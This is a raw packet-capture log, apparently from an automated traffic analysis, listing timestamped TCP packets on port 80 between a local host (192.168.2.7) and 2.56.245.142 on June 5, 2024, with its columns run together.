                                Jun 5, 2024 18:28:36.952789068 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.952812910 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.952867985 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.952881098 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.952896118 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.952920914 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.952999115 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953166962 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953186035 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953233004 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953233004 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953255892 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953318119 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953339100 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953342915 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953381062 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953381062 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953403950 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953458071 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953481913 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953558922 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953582048 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953641891 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953768015 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953813076 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.953818083 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.953870058 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954026937 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954098940 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954117060 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954128027 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954170942 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954185009 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954185009 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954227924 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954253912 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954271078 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954282045 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954298019 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954303026 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954304934 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954308033 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954336882 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954344034 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954375982 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954463005 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954473019 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954483986 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954483986 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954494953 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954507113 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954516888 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954586029 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954587936 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954608917 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954619884 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954657078 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954679966 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954739094 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954761028 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954763889 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954777002 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954782009 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954798937 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954842091 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954864979 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954886913 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.954895973 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954932928 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954953909 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.954977036 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.955034018 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955039978 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.955107927 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.955204010 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955347061 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955451965 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955507040 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955559969 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955570936 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955638885 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955705881 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955785036 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.955930948 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956017017 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956177950 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956203938 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956224918 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956240892 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956336975 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956367016 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956473112 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956495047 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956600904 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956602097 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956609011 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956743956 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956757069 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956808090 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956819057 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956829071 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956896067 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956908941 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956942081 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956952095 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956964016 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.956976891 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957061052 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957078934 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957091093 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957102060 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957211018 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957326889 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957340956 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957534075 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957668066 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957679987 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957690954 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957696915 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957709074 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957760096 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957775116 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957808971 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957853079 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957864046 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.957942963 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958013058 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958049059 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958105087 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958185911 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958264112 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958275080 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958291054 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958409071 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958420992 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958497047 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958507061 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958517075 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958528042 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958539009 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958544970 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958559036 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958615065 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958626986 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958693027 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958719969 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958739996 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958749056 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.958762884 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958777905 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.958785057 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958785057 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.958806038 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958831072 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958832979 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.958832979 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.958842993 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958872080 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.958873987 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.958900928 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.958956957 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.958961010 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959098101 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959108114 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959187984 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959197044 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959208012 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959219933 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959243059 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959294081 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959305048 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959322929 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959333897 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959342003 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959372044 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959372044 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959412098 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959441900 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959460974 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959528923 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959537029 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959563017 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959566116 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959624052 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959664106 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959691048 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959691048 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959722042 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959743023 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959744930 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959768057 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959784985 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959800959 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959846020 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959853888 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959877968 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959899902 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959914923 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959934950 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959938049 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.959960938 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.959995985 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960007906 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960016966 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960019112 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960036993 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960036993 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960042000 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960073948 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960095882 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960120916 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960138083 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960160017 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960175991 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960186005 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960197926 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960211992 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960216045 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960221052 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960253954 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960253954 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960273981 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960314989 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960325003 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960366964 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960380077 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960380077 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960392952 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960398912 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960407019 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960417032 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960418940 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960458040 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960469007 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960469961 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960469961 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960486889 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960508108 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960513115 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960522890 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960534096 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960536957 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960568905 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960568905 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960572958 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960582972 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960599899 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960608959 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960618973 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960622072 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960629940 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960639954 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960654974 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960655928 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960655928 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960670948 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960694075 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960709095 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960720062 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960736990 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960731030 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960747957 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960757971 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960774899 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960797071 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.960968018 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960978985 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960989952 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.960993052 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961000919 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961011887 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961011887 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961025953 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961042881 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961049080 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961055040 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961062908 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961066008 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961076021 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961081982 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961086988 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961105108 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961105108 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961116076 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961127043 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961133957 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961144924 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961155891 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961167097 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961174965 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961177111 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961174965 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961188078 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961198092 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961199999 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961227894 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961227894 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961236954 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961268902 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961268902 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961329937 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961332083 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961436987 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961463928 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961481094 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961491108 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961504936 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961507082 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961517096 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961527109 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961527109 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961544037 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961555004 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961564064 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961565971 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961565971 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961575031 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961585999 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961601019 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961610079 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961632013 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961649895 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961672068 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961684942 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961733103 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961757898 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961790085 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961813927 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961815119 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.961865902 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:36.961883068 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:36.962135077 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.069566965 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069581985 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069592953 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069720984 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069739103 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069751024 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069761038 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069772005 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069782019 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069792032 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069802999 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069812059 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069818020 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069823027 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069833994 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069838047 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.069845915 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069870949 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069885969 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069896936 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069906950 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069916964 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069926977 CEST80497312.56.245.142192.168.2.7
                                Jun 5, 2024 18:28:37.069932938 CEST4973180192.168.2.72.56.245.142
                                Jun 5, 2024 18:28:37.069932938 CEST4973180192.168.2.72.56.245.142
